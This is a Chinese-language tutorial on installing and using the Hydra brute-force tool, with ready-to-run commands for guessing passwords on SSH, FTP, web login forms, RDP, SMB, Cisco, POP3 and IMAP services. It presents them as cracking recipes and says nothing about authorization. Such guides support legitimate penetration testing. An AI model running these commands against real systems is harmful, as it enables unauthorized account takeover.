Hydra是一款爆破神器,可以對多種服務(wù)的賬號和密碼進(jìn)行爆破,包括Web登錄、數(shù)據(jù)庫、SSH、FTP等服務(wù),支持Linux、Windows、Mac平臺安裝,其中Kali Linux中自帶Hydra。
一、安裝方法如下:
wget --no-check-certificate https://www.thc.org/releases/hydra-8.1.tar.gz
tar zxvf hydra-8.1.tar.gz
cd hydra-8.1
./configure
make && make install
本次使用的是kali linux中自帶的hydra工具,以及自帶的字典
二、使用教程
hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns]
[-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV] server service [OPT]
-R 繼續(xù)從上一次進(jìn)度接著破解。
-S 采用SSL鏈接。
-s PORT 可通過這個參數(shù)指定非默認(rèn)端口。
-l LOGIN 指定破解的用戶,對特定用戶破解。
-L FILE 指定用戶名字典。
-p PASS 小寫,指定密碼破解,少用,一般是采用密碼字典。
-P FILE 大寫,指定密碼字典。
-e ns 可選選項(xiàng),n:空密碼試探,s:使用指定用戶和密碼試探。
-C FILE 使用冒號分割格式,例如“登錄名:密碼”來代替-L/-P參數(shù)。
-M FILE 指定目標(biāo)列表文件一行一條。
-o FILE 指定結(jié)果輸出文件。
-f 在使用-M參數(shù)以后,找到第一對登錄名或者密碼的時候中止破解。
-t TASKS 同時運(yùn)行的線程數(shù),默認(rèn)為16。
-w TIME 設(shè)置最大超時的時間,單位秒,默認(rèn)是30s。
-v / -V 顯示詳細(xì)過程。
server 目標(biāo)ip
service 指定服務(wù)名,支持的服務(wù)和協(xié)議:telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt
http-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc
ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec
rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh smtp-auth[-ntlm] pcanywhere
teamspeak sip vmauthd firebird ncp afp等等。
OPT 可選項(xiàng)
三、各種方法的使用示例
1、破解ssh:
hydra -l 用戶名 -P 密碼字典 -t 線程 -vV -e ns ip ssh
hydra -l 用戶名 -P 密碼字典 -t 線程 -o save.log -vV ip ssh
2、破解ftp:
hydra ip ftp -l 用戶名 -P 密碼字典 -t 線程(默認(rèn)16) -vV
hydra ip ftp -l 用戶名 -P 密碼字典 -e ns -vV
3、get方式提交,破解web登錄:
hydra -l 用戶名 -P 密碼字典 -t 線程 -vV -e ns ip http-get /admin/
hydra -l 用戶名 -P 密碼字典 -t 線程 -vV -e ns -f ip http-get /admin/index.php
4、post方式提交,破解web登錄:
hydra -l 用戶名 -P 密碼字典 -s 80 ip http-post-form "/admin/login.php:username=^USER^&password=^PASS^&submit=login:sorry password"
hydra -t 3 -l admin -P pass.txt -o out.txt -f ip http-post-form "login.php:id=^USER^&passwd=^PASS^:<title>wrong username or password</title>"
(參數(shù)說明:-t同時線程數(shù)3,-l用戶名是admin,字典pass.txt,保存為out.txt,-f 當(dāng)破解了一個密碼就停止, ip目標(biāo)ip,http-post-form表示破解是采用http的post方式提交的表單密碼破解,<title>中 的內(nèi)容是表示錯誤猜解的返回信息提示。)
5、破解https:
hydra -m /index.php -l muts -P pass.txt ip https
6、破解teamspeak:
hydra -l 用戶名 -P 密碼字典 -s 端口號 -vV ip teamspeak
7、破解cisco:
hydra -P pass.txt ip cisco
hydra -m cloud -P pass.txt ip cisco-enable
8、破解smb:
hydra -l administrator -P pass.txt ip smb
9、破解pop3:
hydra -l muts -P pass.txt my.pop3.mail pop3
10、破解rdp:
hydra ip rdp -l administrator -P pass.txt -V
11、破解http-proxy:
hydra -l admin -P pass.txt http-proxy://ip
12、破解imap:
hydra -L user.txt -p secret ip imap PLAIN
hydra -C defaults.txt -6 imap://[ip]:143/PLAIN
使用該工具時:注意指定用戶名(-l 用戶名)和指定用戶名字典(-L 用戶名字典)、指定密碼(-p 密碼)和指定密碼字典(-P 密碼字典),這兩種情況下使用的參數(shù)不同
PS:一個強(qiáng)大的字典可以解決一切問題?。。?/p>